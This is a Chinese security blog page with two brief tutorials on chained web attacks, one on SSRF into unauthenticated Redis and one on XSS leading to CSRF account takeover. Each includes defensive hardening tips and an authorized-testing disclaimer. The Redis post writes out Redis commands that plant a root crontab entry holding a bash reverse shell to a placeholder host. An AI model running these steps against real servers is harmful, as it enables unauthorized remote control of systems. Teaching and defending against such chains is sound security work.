漏洞联动SSRF打Redis未授权Getshell

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

漏洞联动测试只在授权测试环境进行。

一、SSRF 打 Redis 攻击链

1

① SSRF → ② 发现 Redis 6379 → ③ 写 Crontab/SSH 密钥 → ④ GetShell

二、利用步骤

1
2
3
4
5
6
7


1. SSRF 探测内网 Redis：http://target/?url=http://127.0.0.1:6379
2. 连接 Redis：redis-cli -h 内网IP
3. 写 Crontab：
 set msg "\n* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1\n"
 config set dir /var/spool/cron/crontabs
 config set dbfilename root
 save

三、防御加固

1
2


Redis 设置密码 · bind 127.0.0.1
禁止 SSRF · URL 白名单

四、小结

SSRF + Redis 未授权 = GetShell。防御核心是Redis 加密码 + SSRF 防护。

漏洞联动XSS打CSRF账号接管

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

XSS/CSRF 测试只在授权测试环境进行。

一、XSS 打 CSRF 攻击链

1

① XSS → ② 窃取 Session/Cookie → ③ CSRF Token → ④ 账号接管

二、利用方式

1
2
3


XSS → 窃取 Cookie → 伪造登录会话
XSS → 窃取 CSRF Token → 发起恶意请求
XSS → 篡改页面 → 诱导用户操作

三、防御加固

1
2


输出编码 · CSP · HttpOnly Cookie
SameSite Cookie · CSRF Token · 二次确认

四、小结

XSS + CSRF 是 Web 应用最常见的联动攻击。HttpOnly Cookie + SameSite + CSP 是防御核心。

漏洞联动 on SoulJian小站

漏洞联动SSRF打Redis未授权Getshell

写在前面：合法学习边界

一、SSRF 打 Redis 攻击链

二、利用步骤

三、防御加固

四、小结

漏洞联动XSS打CSRF账号接管

写在前面：合法学习边界

一、XSS 打 CSRF 攻击链

二、利用方式

三、防御加固

四、小结